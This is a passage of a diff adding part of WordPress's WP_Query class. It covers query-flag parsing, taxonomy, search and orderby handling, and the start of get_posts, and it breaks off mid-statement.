+			}
+
+			if ( '' !== $qv['second'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( '' !== $qv['minute'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( '' !== $qv['hour'] ) {
+				$this->is_time = true;
+				$this->is_date = true;
+			}
+
+			if ( $qv['day'] ) {
+				if ( ! $this->is_date ) {
+					$date = sprintf( '%04d-%02d-%02d', $qv['year'], $qv['monthnum'], $qv['day'] );
+					if ( $qv['monthnum'] && $qv['year'] && ! wp_checkdate( $qv['monthnum'], $qv['day'], $qv['year'], $date ) ) {
+						$qv['error'] = '404';
+					} else {
+						$this->is_day = true;
+						$this->is_date = true;
+					}
+				}
+			}
+
+			if ( $qv['monthnum'] ) {
+				if ( ! $this->is_date ) {
+					if ( 12 < $qv['monthnum'] ) {
+						$qv['error'] = '404';
+					} else {
+						$this->is_month = true;
+						$this->is_date = true;
+					}
+				}
+			}
+
+			if ( $qv['year'] ) {
+				if ( ! $this->is_date ) {
+					$this->is_year = true;
+					$this->is_date = true;
+				}
+			}
+
+			if ( $qv['m'] ) {
+				$this->is_date = true;
+				if ( strlen($qv['m']) > 9 ) {
+					$this->is_time = true;
+				} elseif ( strlen( $qv['m'] ) > 7 ) {
+					$this->is_day = true;
+				} elseif ( strlen( $qv['m'] ) > 5 ) {
+					$this->is_month = true;
+				} else {
+					$this->is_year = true;
+				}
+			}
+
+			if ( '' != $qv['w'] ) {
+				$this->is_date = true;
+			}
+
+			$this->query_vars_hash = false;
+			$this->parse_tax_query( $qv );
+
+			foreach ( $this->tax_query->queries as $tax_query ) {
+				if ( ! is_array( $tax_query ) ) {
+					continue;
+				}
+
+				if ( isset( $tax_query['operator'] ) && 'NOT IN' != $tax_query['operator'] ) {
+					switch ( $tax_query['taxonomy'] ) {
+						case 'category':
+							$this->is_category = true;
+							break;
+						case 'post_tag':
+							$this->is_tag = true;
+							break;
+						default:
+							$this->is_tax = true;
+					}
+				}
+			}
+			unset( $tax_query );
+
+			if ( empty($qv['author']) || ($qv['author'] == '0') ) {
+				$this->is_author = false;
+			} else {
+				$this->is_author = true;
+			}
+
+			if ( '' != $qv['author_name'] )
+				$this->is_author = true;
+
+			if ( !empty( $qv['post_type'] ) && ! is_array( $qv['post_type'] ) ) {
+				$post_type_obj = get_post_type_object( $qv['post_type'] );
+				if ( ! empty( $post_type_obj->has_archive ) )
+					$this->is_post_type_archive = true;
+			}
+
+			if ( $this->is_post_type_archive || $this->is_date || $this->is_author || $this->is_category || $this->is_tag || $this->is_tax )
+				$this->is_archive = true;
+		}
+
+		if ( '' != $qv['feed'] )
+			$this->is_feed = true;
+
+		if ( '' != $qv['embed'] ) {
+			$this->is_embed = true;
+		}
+
+		if ( '' != $qv['tb'] )
+			$this->is_trackback = true;
+
+		if ( '' != $qv['paged'] && ( intval($qv['paged']) > 1 ) )
+			$this->is_paged = true;
+
+		// if we're previewing inside the write screen
+		if ( '' != $qv['preview'] )
+			$this->is_preview = true;
+
+		if ( is_admin() )
+			$this->is_admin = true;
+
+		if ( false !== strpos($qv['feed'], 'comments-') ) {
+			$qv['feed'] = str_replace('comments-', '', $qv['feed']);
+			$qv['withcomments'] = 1;
+		}
+
+		$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
+
+		if ( $this->is_feed && ( !empty($qv['withcomments']) || ( empty($qv['withoutcomments']) && $this->is_singular ) ) )
+			$this->is_comment_feed = true;
+
+		if ( !( $this->is_singular || $this->is_archive || $this->is_search || $this->is_feed || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) || $this->is_trackback || $this->is_404 || $this->is_admin || $this->is_robots ) )
+			$this->is_home = true;
+
+		// Correct is_* for page_on_front and page_for_posts
+		if ( $this->is_home && 'page' == get_option('show_on_front') && get_option('page_on_front') ) {
+			$_query = wp_parse_args($this->query);
+			// pagename can be set and empty depending on matched rewrite rules. Ignore an empty pagename.
+			if ( isset($_query['pagename']) && '' == $_query['pagename'] )
+				unset($_query['pagename']);
+
+			unset( $_query['embed'] );
+
+			if ( empty($_query) || !array_diff( array_keys($_query), array('preview', 'page', 'paged', 'cpage') ) ) {
+				$this->is_page = true;
+				$this->is_home = false;
+				$qv['page_id'] = get_option('page_on_front');
+				// Correct <!--nextpage--> for page_on_front
+				if ( !empty($qv['paged']) ) {
+					$qv['page'] = $qv['paged'];
+					unset($qv['paged']);
+				}
+			}
+		}
+
+		if ( '' != $qv['pagename'] ) {
+			$this->queried_object = get_page_by_path( $qv['pagename'] );
+
+			if ( $this->queried_object && 'attachment' == $this->queried_object->post_type ) {
+				if ( preg_match( "/^[^%]*%(?:postname)%/", get_option( 'permalink_structure' ) ) ) {
+					// See if we also have a post with the same slug
+					$post = get_page_by_path( $qv['pagename'], OBJECT, 'post' );
+					if ( $post ) {
+						$this->queried_object = $post;
+						$this->is_page = false;
+						$this->is_single = true;
+					}
+				}
+			}
+
+			if ( ! empty( $this->queried_object ) ) {
+				$this->queried_object_id = (int) $this->queried_object->ID;
+			} else {
+				unset( $this->queried_object );
+			}
+
+			if  ( 'page' == get_option('show_on_front') && isset($this->queried_object_id) && $this->queried_object_id == get_option('page_for_posts') ) {
+				$this->is_page = false;
+				$this->is_home = true;
+				$this->is_posts_page = true;
+			}
+		}
+
+		if ( $qv['page_id'] ) {
+			if  ( 'page' == get_option('show_on_front') && $qv['page_id'] == get_option('page_for_posts') ) {
+				$this->is_page = false;
+				$this->is_home = true;
+				$this->is_posts_page = true;
+			}
+		}
+
+		if ( !empty($qv['post_type']) ) {
+			if ( is_array($qv['post_type']) )
+				$qv['post_type'] = array_map('sanitize_key', $qv['post_type']);
+			else
+				$qv['post_type'] = sanitize_key($qv['post_type']);
+		}
+
+		if ( ! empty( $qv['post_status'] ) ) {
+			if ( is_array( $qv['post_status'] ) )
+				$qv['post_status'] = array_map('sanitize_key', $qv['post_status']);
+			else
+				$qv['post_status'] = preg_replace('|[^a-z0-9_,-]|', '', $qv['post_status']);
+		}
+
+		if ( $this->is_posts_page && ( ! isset($qv['withcomments']) || ! $qv['withcomments'] ) )
+			$this->is_comment_feed = false;
+
+		$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
+		// Done correcting is_* for page_on_front and page_for_posts
+
+		if ( '404' == $qv['error'] )
+			$this->set_404();
+
+		$this->is_embed = $this->is_embed && ( $this->is_singular || $this->is_404 );
+
+		$this->query_vars_hash = md5( serialize( $this->query_vars ) );
+		$this->query_vars_changed = false;
+
+		/**
+		 * Fires after the main query vars have been parsed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param WP_Query $this The WP_Query instance (passed by reference).
+		 */
+		do_action_ref_array( 'parse_query', array( &$this ) );
+	}
+
+	/**
+	 * Parses various taxonomy related query vars.
+	 *
+	 * For BC, this method is not marked as protected. See [28987].
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array $q The query variables. Passed by reference.
+	 */
+	public function parse_tax_query( &$q ) {
+		if ( ! empty( $q['tax_query'] ) && is_array( $q['tax_query'] ) ) {
+			$tax_query = $q['tax_query'];
+		} else {
+			$tax_query = array();
+		}
+
+		if ( !empty($q['taxonomy']) && !empty($q['term']) ) {
+			$tax_query[] = array(
+				'taxonomy' => $q['taxonomy'],
+				'terms' => array( $q['term'] ),
+				'field' => 'slug',
+			);
+		}
+
+		foreach ( get_taxonomies( array() , 'objects' ) as $taxonomy => $t ) {
+			if ( 'post_tag' == $taxonomy )
+				continue;	// Handled further down in the $q['tag'] block
+
+			if ( $t->query_var && !empty( $q[$t->query_var] ) ) {
+				$tax_query_defaults = array(
+					'taxonomy' => $taxonomy,
+					'field' => 'slug',
+				);
+
+ 				if ( isset( $t->rewrite['hierarchical'] ) && $t->rewrite['hierarchical'] ) {
+					$q[$t->query_var] = wp_basename( $q[$t->query_var] );
+				}
+
+				$term = $q[$t->query_var];
+
+				if ( is_array( $term ) ) {
+					$term = implode( ',', $term );
+				}
+
+				if ( strpos($term, '+') !== false ) {
+					$terms = preg_split( '/[+]+/', $term );
+					foreach ( $terms as $term ) {
+						$tax_query[] = array_merge( $tax_query_defaults, array(
+							'terms' => array( $term )
+						) );
+					}
+				} else {
+					$tax_query[] = array_merge( $tax_query_defaults, array(
+						'terms' => preg_split( '/[,]+/', $term )
+					) );
+				}
+			}
+		}
+
+		// If querystring 'cat' is an array, implode it.
+		if ( is_array( $q['cat'] ) ) {
+			$q['cat'] = implode( ',', $q['cat'] );
+		}
+
+		// Category stuff
+		if ( ! empty( $q['cat'] ) && ! $this->is_singular ) {
+			$cat_in = $cat_not_in = array();
+
+			$cat_array = preg_split( '/[,\s]+/', urldecode( $q['cat'] ) );
+			$cat_array = array_map( 'intval', $cat_array );
+			$q['cat'] = implode( ',', $cat_array );
+
+			foreach ( $cat_array as $cat ) {
+				if ( $cat > 0 )
+					$cat_in[] = $cat;
+				elseif ( $cat < 0 )
+					$cat_not_in[] = abs( $cat );
+			}
+
+			if ( ! empty( $cat_in ) ) {
+				$tax_query[] = array(
+					'taxonomy' => 'category',
+					'terms' => $cat_in,
+					'field' => 'term_id',
+					'include_children' => true
+				);
+			}
+
+			if ( ! empty( $cat_not_in ) ) {
+				$tax_query[] = array(
+					'taxonomy' => 'category',
+					'terms' => $cat_not_in,
+					'field' => 'term_id',
+					'operator' => 'NOT IN',
+					'include_children' => true
+				);
+			}
+			unset( $cat_array, $cat_in, $cat_not_in );
+		}
+
+		if ( ! empty( $q['category__and'] ) && 1 === count( (array) $q['category__and'] ) ) {
+			$q['category__and'] = (array) $q['category__and'];
+			if ( ! isset( $q['category__in'] ) )
+				$q['category__in'] = array();
+			$q['category__in'][] = absint( reset( $q['category__and'] ) );
+			unset( $q['category__and'] );
+		}
+
+		if ( ! empty( $q['category__in'] ) ) {
+			$q['category__in'] = array_map( 'absint', array_unique( (array) $q['category__in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'category',
+				'terms' => $q['category__in'],
+				'field' => 'term_id',
+				'include_children' => false
+			);
+		}
+
+		if ( ! empty($q['category__not_in']) ) {
+			$q['category__not_in'] = array_map( 'absint', array_unique( (array) $q['category__not_in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'category',
+				'terms' => $q['category__not_in'],
+				'operator' => 'NOT IN',
+				'include_children' => false
+			);
+		}
+
+		if ( ! empty($q['category__and']) ) {
+			$q['category__and'] = array_map( 'absint', array_unique( (array) $q['category__and'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'category',
+				'terms' => $q['category__and'],
+				'field' => 'term_id',
+				'operator' => 'AND',
+				'include_children' => false
+			);
+		}
+
+		// If querystring 'tag' is array, implode it.
+		if ( is_array( $q['tag'] ) ) {
+			$q['tag'] = implode( ',', $q['tag'] );
+		}
+
+		// Tag stuff
+		if ( '' != $q['tag'] && !$this->is_singular && $this->query_vars_changed ) {
+			if ( strpos($q['tag'], ',') !== false ) {
+				$tags = preg_split('/[,\r\n\t ]+/', $q['tag']);
+				foreach ( (array) $tags as $tag ) {
+					$tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
+					$q['tag_slug__in'][] = $tag;
+				}
+			} elseif ( preg_match('/[+\r\n\t ]+/', $q['tag'] ) || ! empty( $q['cat'] ) ) {
+				$tags = preg_split('/[+\r\n\t ]+/', $q['tag']);
+				foreach ( (array) $tags as $tag ) {
+					$tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db');
+					$q['tag_slug__and'][] = $tag;
+				}
+			} else {
+				$q['tag'] = sanitize_term_field('slug', $q['tag'], 0, 'post_tag', 'db');
+				$q['tag_slug__in'][] = $q['tag'];
+			}
+		}
+
+		if ( !empty($q['tag_id']) ) {
+			$q['tag_id'] = absint( $q['tag_id'] );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag_id']
+			);
+		}
+
+		if ( !empty($q['tag__in']) ) {
+			$q['tag__in'] = array_map('absint', array_unique( (array) $q['tag__in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag__in']
+			);
+		}
+
+		if ( !empty($q['tag__not_in']) ) {
+			$q['tag__not_in'] = array_map('absint', array_unique( (array) $q['tag__not_in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag__not_in'],
+				'operator' => 'NOT IN'
+			);
+		}
+
+		if ( !empty($q['tag__and']) ) {
+			$q['tag__and'] = array_map('absint', array_unique( (array) $q['tag__and'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag__and'],
+				'operator' => 'AND'
+			);
+		}
+
+		if ( !empty($q['tag_slug__in']) ) {
+			$q['tag_slug__in'] = array_map('sanitize_title_for_query', array_unique( (array) $q['tag_slug__in'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag_slug__in'],
+				'field' => 'slug'
+			);
+		}
+
+		if ( !empty($q['tag_slug__and']) ) {
+			$q['tag_slug__and'] = array_map('sanitize_title_for_query', array_unique( (array) $q['tag_slug__and'] ) );
+			$tax_query[] = array(
+				'taxonomy' => 'post_tag',
+				'terms' => $q['tag_slug__and'],
+				'field' => 'slug',
+				'operator' => 'AND'
+			);
+		}
+
+		$this->tax_query = new WP_Tax_Query( $tax_query );
+
+		/**
+		 * Fires after taxonomy-related query vars have been parsed.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param WP_Query $this The WP_Query instance.
+		 */
+		do_action( 'parse_tax_query', $this );
+	}
+
+	/**
+	 * Generates SQL for the WHERE clause based on passed search terms.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param array $q Query variables.
+	 * @return string WHERE clause.
+	 */
+	protected function parse_search( &$q ) {
+		global $wpdb;
+
+		$search = '';
+
+		// added slashes screw with quote grouping when done early, so done later
+		$q['s'] = stripslashes( $q['s'] );
+		if ( empty( $_GET['s'] ) && $this->is_main_query() )
+			$q['s'] = urldecode( $q['s'] );
+		// there are no line breaks in <input /> fields
+		$q['s'] = str_replace( array( "\r", "\n" ), '', $q['s'] );
+		$q['search_terms_count'] = 1;
+		if ( ! empty( $q['sentence'] ) ) {
+			$q['search_terms'] = array( $q['s'] );
+		} else {
+			if ( preg_match_all( '/".*?("|$)|((?<=[\t ",+])|^)[^\t ",+]+/', $q['s'], $matches ) ) {
+				$q['search_terms_count'] = count( $matches[0] );
+				$q['search_terms'] = $this->parse_search_terms( $matches[0] );
+				// if the search string has only short terms or stopwords, or is 10+ terms long, match it as sentence
+				if ( empty( $q['search_terms'] ) || count( $q['search_terms'] ) > 9 )
+					$q['search_terms'] = array( $q['s'] );
+			} else {
+				$q['search_terms'] = array( $q['s'] );
+			}
+		}
+
+		$n = ! empty( $q['exact'] ) ? '' : '%';
+		$searchand = '';
+		$q['search_orderby_title'] = array();
+
+		/**
+		 * Filters the prefix that indicates that a search term should be excluded from results.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param string $exclusion_prefix The prefix. Default '-'. Returning
+		 *                                 an empty value disables exclusions.
+		 */
+		$exclusion_prefix = apply_filters( 'wp_query_search_exclusion_prefix', '-' );
+
+		foreach ( $q['search_terms'] as $term ) {
+			// If there is an $exclusion_prefix, terms prefixed with it should be excluded.
+			$exclude = $exclusion_prefix && ( $exclusion_prefix === substr( $term, 0, 1 ) );
+			if ( $exclude ) {
+				$like_op  = 'NOT LIKE';
+				$andor_op = 'AND';
+				$term     = substr( $term, 1 );
+			} else {
+				$like_op  = 'LIKE';
+				$andor_op = 'OR';
+			}
+
+			if ( $n && ! $exclude ) {
+				$like = '%' . $wpdb->esc_like( $term ) . '%';
+				$q['search_orderby_title'][] = $wpdb->prepare( "{$wpdb->posts}.post_title LIKE %s", $like );
+			}
+
+			$like = $n . $wpdb->esc_like( $term ) . $n;
+
+			if ( ! empty( $this->allow_query_attachment_by_filename ) ) {
+				$search .= $wpdb->prepare( "{$searchand}(({$wpdb->posts}.post_title $like_op %s) $andor_op ({$wpdb->posts}.post_excerpt $like_op %s) $andor_op ({$wpdb->posts}.post_content $like_op %s) $andor_op (sq1.meta_value $like_op %s))", $like, $like, $like, $like );
+			} else {
+				$search .= $wpdb->prepare( "{$searchand}(({$wpdb->posts}.post_title $like_op %s) $andor_op ({$wpdb->posts}.post_excerpt $like_op %s) $andor_op ({$wpdb->posts}.post_content $like_op %s))", $like, $like, $like );
+			}
+			$searchand = ' AND ';
+		}
+
+		if ( ! empty( $search ) ) {
+			$search = " AND ({$search}) ";
+			if ( ! is_user_logged_in() ) {
+				$search .= " AND ({$wpdb->posts}.post_password = '') ";
+			}
+		}
+
+		return $search;
+	}
+
+	/**
+	 * Check if the terms are suitable for searching.
+	 *
+	 * Uses an array of stopwords (terms) that are excluded from the separate
+	 * term matching when searching for posts. The list of English stopwords is
+	 * the approximate search engines list, and is translatable.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $terms Terms to check.
+	 * @return array Terms that are not stopwords.
+	 */
+	protected function parse_search_terms( $terms ) {
+		$strtolower = function_exists( 'mb_strtolower' ) ? 'mb_strtolower' : 'strtolower';
+		$checked = array();
+
+		$stopwords = $this->get_search_stopwords();
+
+		foreach ( $terms as $term ) {
+			// keep before/after spaces when term is for exact match
+			if ( preg_match( '/^".+"$/', $term ) )
+				$term = trim( $term, "\"'" );
+			else
+				$term = trim( $term, "\"' " );
+
+			// Avoid single A-Z and single dashes.
+			if ( ! $term || ( 1 === strlen( $term ) && preg_match( '/^[a-z\-]$/i', $term ) ) )
+				continue;
+
+			if ( in_array( call_user_func( $strtolower, $term ), $stopwords, true ) )
+				continue;
+
+			$checked[] = $term;
+		}
+
+		return $checked;
+	}
+
+	/**
+	 * Retrieve stopwords used when parsing search terms.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @return array Stopwords.
+	 */
+	protected function get_search_stopwords() {
+		if ( isset( $this->stopwords ) )
+			return $this->stopwords;
+
+		/* translators: This is a comma-separated list of very common words that should be excluded from a search,
+		 * like a, an, and the. These are usually called "stopwords". You should not simply translate these individual
+		 * words into your language. Instead, look for and provide commonly accepted stopwords in your language.
+		 */
+		$words = explode( ',', _x( 'about,an,are,as,at,be,by,com,for,from,how,in,is,it,of,on,or,that,the,this,to,was,what,when,where,who,will,with,www',
+			'Comma-separated list of search stopwords in your language' ) );
+
+		$stopwords = array();
+		foreach ( $words as $word ) {
+			$word = trim( $word, "\r\n\t " );
+			if ( $word )
+				$stopwords[] = $word;
+		}
+
+		/**
+		 * Filters stopwords used when parsing search terms.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $stopwords Stopwords.
+		 */
+		$this->stopwords = apply_filters( 'wp_search_stopwords', $stopwords );
+		return $this->stopwords;
+	}
+
+	/**
+	 * Generates SQL for the ORDER BY condition based on passed search terms.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param array $q Query variables.
+	 * @return string ORDER BY clause.
+	 */
+	protected function parse_search_order( &$q ) {
+		global $wpdb;
+
+		if ( $q['search_terms_count'] > 1 ) {
+			$num_terms = count( $q['search_orderby_title'] );
+
+			// If the search terms contain negative queries, don't bother ordering by sentence matches.
+			$like = '';
+			if ( ! preg_match( '/(?:\s|^)\-/', $q['s'] ) ) {
+				$like = '%' . $wpdb->esc_like( $q['s'] ) . '%';
+			}
+
+			$search_orderby = '';
+
+			// sentence match in 'post_title'
+			if ( $like ) {
+				$search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_title LIKE %s THEN 1 ", $like );
+			}
+
+			// sanity limit, sort as sentence when more than 6 terms
+			// (few searches are longer than 6 terms and most titles are not)
+			if ( $num_terms < 7 ) {
+				// all words in title
+				$search_orderby .= 'WHEN ' . implode( ' AND ', $q['search_orderby_title'] ) . ' THEN 2 ';
+				// any word in title, not needed when $num_terms == 1
+				if ( $num_terms > 1 )
+					$search_orderby .= 'WHEN ' . implode( ' OR ', $q['search_orderby_title'] ) . ' THEN 3 ';
+			}
+
+			// Sentence match in 'post_content' and 'post_excerpt'.
+			if ( $like ) {
+				$search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_excerpt LIKE %s THEN 4 ", $like );
+				$search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_content LIKE %s THEN 5 ", $like );
+			}
+
+			if ( $search_orderby ) {
+				$search_orderby = '(CASE ' . $search_orderby . 'ELSE 6 END)';
+			}
+		} else {
+			// single word or sentence search
+			$search_orderby = reset( $q['search_orderby_title'] ) . ' DESC';
+		}
+
+		return $search_orderby;
+	}
+
+	/**
+	 * Converts the given orderby alias (if allowed) to a properly-prefixed value.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $orderby Alias for the field to order by.
+	 * @return string|false Table-prefixed value to used in the ORDER clause. False otherwise.
+	 */
+	protected function parse_orderby( $orderby ) {
+		global $wpdb;
+
+		// Used to filter values.
+		$allowed_keys = array(
+			'post_name', 'post_author', 'post_date', 'post_title', 'post_modified',
+			'post_parent', 'post_type', 'name', 'author', 'date', 'title', 'modified',
+			'parent', 'type', 'ID', 'menu_order', 'comment_count', 'rand',
+		);
+
+		$primary_meta_key = '';
+		$primary_meta_query = false;
+		$meta_clauses = $this->meta_query->get_clauses();
+		if ( ! empty( $meta_clauses ) ) {
+			$primary_meta_query = reset( $meta_clauses );
+
+			if ( ! empty( $primary_meta_query['key'] ) ) {
+				$primary_meta_key = $primary_meta_query['key'];
+				$allowed_keys[] = $primary_meta_key;
+			}
+
+			$allowed_keys[] = 'meta_value';
+			$allowed_keys[] = 'meta_value_num';
+			$allowed_keys   = array_merge( $allowed_keys, array_keys( $meta_clauses ) );
+		}
+
+		// If RAND() contains a seed value, sanitize and add to allowed keys.
+		$rand_with_seed = false;
+		if ( preg_match( '/RAND\(([0-9]+)\)/i', $orderby, $matches ) ) {
+			$orderby = sprintf( 'RAND(%s)', intval( $matches[1] ) );
+			$allowed_keys[] = $orderby;
+			$rand_with_seed = true;
+		}
+
+		if ( ! in_array( $orderby, $allowed_keys, true ) ) {
+			return false;
+		}
+
+		switch ( $orderby ) {
+			case 'post_name':
+			case 'post_author':
+			case 'post_date':
+			case 'post_title':
+			case 'post_modified':
+			case 'post_parent':
+			case 'post_type':
+			case 'ID':
+			case 'menu_order':
+			case 'comment_count':
+				$orderby_clause = "{$wpdb->posts}.{$orderby}";
+				break;
+			case 'rand':
+				$orderby_clause = 'RAND()';
+				break;
+			case $primary_meta_key:
+			case 'meta_value':
+				if ( ! empty( $primary_meta_query['type'] ) ) {
+					$orderby_clause = "CAST({$primary_meta_query['alias']}.meta_value AS {$primary_meta_query['cast']})";
+				} else {
+					$orderby_clause = "{$primary_meta_query['alias']}.meta_value";
+				}
+				break;
+			case 'meta_value_num':
+				$orderby_clause = "{$primary_meta_query['alias']}.meta_value+0";
+				break;
+			default:
+				if ( array_key_exists( $orderby, $meta_clauses ) ) {
+					// $orderby corresponds to a meta_query clause.
+					$meta_clause = $meta_clauses[ $orderby ];
+					$orderby_clause = "CAST({$meta_clause['alias']}.meta_value AS {$meta_clause['cast']})";
+				} elseif ( $rand_with_seed ) {
+					$orderby_clause = $orderby;
+				} else {
+					// Default: order by post field.
+					$orderby_clause = "{$wpdb->posts}.post_" . sanitize_key( $orderby );
+				}
+
+				break;
+		}
+
+		return $orderby_clause;
+	}
+
+	/**
+	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $order The 'order' query variable.
+	 * @return string The sanitized 'order' query variable.
+	 */
+	protected function parse_order( $order ) {
+		if ( ! is_string( $order ) || empty( $order ) ) {
+			return 'DESC';
+		}
+
+		if ( 'ASC' === strtoupper( $order ) ) {
+			return 'ASC';
+		} else {
+			return 'DESC';
+		}
+	}
+
+	/**
+	 * Sets the 404 property and saves whether query is feed.
+	 *
+	 * @since 2.0.0
+	 */
+	public function set_404() {
+		$is_feed = $this->is_feed;
+
+		$this->init_query_flags();
+		$this->is_404 = true;
+
+		$this->is_feed = $is_feed;
+	}
+
+	/**
+	 * Retrieve query variable.
+	 *
+	 * @since 1.5.0
+	 * @since 3.9.0 The `$default` argument was introduced.
+	 *
+	 *
+	 * @param string $query_var Query variable key.
+	 * @param mixed  $default   Optional. Value to return if the query variable is not set. Default empty.
+	 * @return mixed Contents of the query variable.
+	 */
+	public function get( $query_var, $default = '' ) {
+		if ( isset( $this->query_vars[ $query_var ] ) ) {
+			return $this->query_vars[ $query_var ];
+		}
+
+		return $default;
+	}
+
+	/**
+	 * Set query variable.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $query_var Query variable key.
+	 * @param mixed  $value     Query variable value.
+	 */
+	public function set($query_var, $value) {
+		$this->query_vars[$query_var] = $value;
+	}
+
+	/**
+	 * Retrieve the posts based on query variables.
+	 *
+	 * There are a few filters and actions that can be used to modify the post
+	 * database query.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return array List of posts.
+	 */
+	public function get_posts() {
+		global $wpdb;
+
+		$this->parse_query();
+
+		/**
+		 * Fires after the query variable object is created, but before the actual query is run.
+		 *
+		 * Note: If using conditional tags, use the method versions within the passed instance
+		 * (e.g. $this->is_main_query() instead of is_main_query()). This is because the functions
+		 * like is_main_query() test against the global $wp_query instance, not the passed one.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param WP_Query $this The WP_Query instance (passed by reference).
+		 */
+		do_action_ref_array( 'pre_get_posts', array( &$this ) );
+
+		// Shorthand.
+		$q = &$this->query_vars;
+
+		// Fill again in case pre_get_posts unset some vars.
+		$q = $this->fill_query_vars($q);
+
+		/**
+		 * Filters whether an attachment query should include filenames or not.
+		 *
+		 * @since 6.0.3
+		 *
+		 * @param bool $allow_query_attachment_by_filename Whether or not to include filenames.
+		 */
+		$this->allow_query_attachment_by_filename = apply_filters( 'wp_allow_query_attachment_by_filename', false );
+		remove_all_filters( 'wp_allow_query_attachment_by_filename' );
+
+		// Parse meta query
+		$this->meta_query = new WP_Meta_Query();
+		$this->meta_query->parse_query_vars( $q );
+
+		// Set a flag if a pre_get_posts hook changed the query vars.
+		$hash = md5( serialize( $this->query_vars ) );
+		if ( $hash != $this->query_vars_hash ) {
+			$this->query_vars_changed = true;
+			$this->query_vars_hash = $hash;
+		}
+		unset($hash);
+
+		// First let's clear some variables
+		$distinct = '';
+		$whichauthor = '';
+		$whichmimetype = '';
+		$where = '';
+		$limits = '';
+		$join = '';
+		$search = '';
+		$groupby = '';
+		$post_status_join = false;
+		$page = 1;
+
+		if ( isset( $q['caller_get_posts'] ) ) {
+			_deprecated_argument( 'WP_Query', '3.1.0',
+				/* translators: 1: caller_get_posts, 2: ignore_sticky_posts */
+				sprintf( __( '%1$s is deprecated. Use %2$s instead.' ),
+					'<code>caller_get_posts</code>',
+					'<code>ignore_sticky_posts</code>'
+				)
+			);
+
+			if ( ! isset( $q['ignore_sticky_posts'] ) ) {
+				$q['ignore_sticky_posts'] = $q['caller_get_posts'];
+			}
+		}
+
+		if ( !isset( $q['ignore_sticky_posts'] ) )
+			$q['ignore_sticky_posts'] = false;
+
+		if ( !isset($q['suppress_filters']) )
+			$q['suppress_filters'] = false;
+
+		if ( !isset($q['cache_results']) ) {
+			if ( wp_using_ext_object_cache() )
+				$q['cache_results'] = false;
+			else
+				$q['cache_results'] = true;
+		}
+
+		if ( !isset($q['update_post_term_cache']) )
+			$q['update_post_term_cache'] = true;
+
+		if ( ! isset( $q['lazy_load_term_meta'] ) ) {
+			$q['lazy_load_term_meta'] = $q['update_post_term_cache'];
+		}
+
+		if ( !isset($q['update_post_meta_cache']) )
+			$q['update_post_meta_cache'] = true;
+
+		if ( !isset($q['post_type']) ) {
+			if ( $this->is_search )
+				$q['post_type'] = 'any';
+			else
+				$q['post_type'] = '';
+		}
+		$post_type = $q['post_type'];
+		if ( empty( $q['posts_per_page'] ) ) {
+			$q['posts_per_page'] = get_option( 'posts_per_page' );
+		}
+		if ( isset($q['showposts']) && $q['showposts'] ) {
+			$q['showposts'] = (int) $q['showposts'];
+			$q['posts_per_page'] = $q['showposts'];
+		}
+		if ( (isset($q['posts_per_archive_page']) && $q['posts_per_archive_page'] != 0) && ($this->is_archive || $this->is_search) )
+			$q['posts_per_page'] = $q['posts_per_archive_page'];
+		if ( !isset($q['nopaging']) ) {
+			if ( $q['posts_per_page'] == -1 ) {
+				$q['nopaging'] = true;
+			} else {
+				$q['nopaging'] = false;
+			}
+		}
+
+		if ( $this->is_feed ) {
+			// This overrides posts_per_page.
+			if ( ! empty( $q['posts_per_rss'] ) ) {
+				$q['posts_per_page'] = $q['posts_per_rss'];
+			} else {
+				$q['posts_per_page'] = get_option( 'posts_per_rss' );
+			}
+			$q['nopaging'] = false;
+		}
+		$q['posts_per_page'] = (int) $q['posts_per_page'];
+		if ( $q['posts_per_page'] < -1 )
+			$q['posts_per_page'] = abs($q['posts_per_page']);
+		elseif ( $q['posts_per_page'] == 0 )
+			$q['posts_per_page'] = 1;
+
+		if ( !isset($q['comments_per_page']) || $q['comments_per_page'] == 0 )
+			$q['comments_per_page'] = get_option('comments_per_page');
+
+		if ( $this->is_home && (empty($this->query) || $q['preview'] == 'true') && ( 'page' == get_option('show_on_front') ) && get_option('page_on_front') ) {
+			$this->is_page = true;
+			$this->is_home = false;
+			$q['page_id'] = get_option('page_on_front');
+		}
+
+		if ( isset($q['page']) ) {
+			$q['page'] = trim($q['page'], '/');
+			$q['page'] = absint($q['page']);
+		}
+
+		// If true, forcibly turns off SQL_CALC_FOUND_ROWS even when limits are present.
+		if ( isset($q['no_found_rows']) )
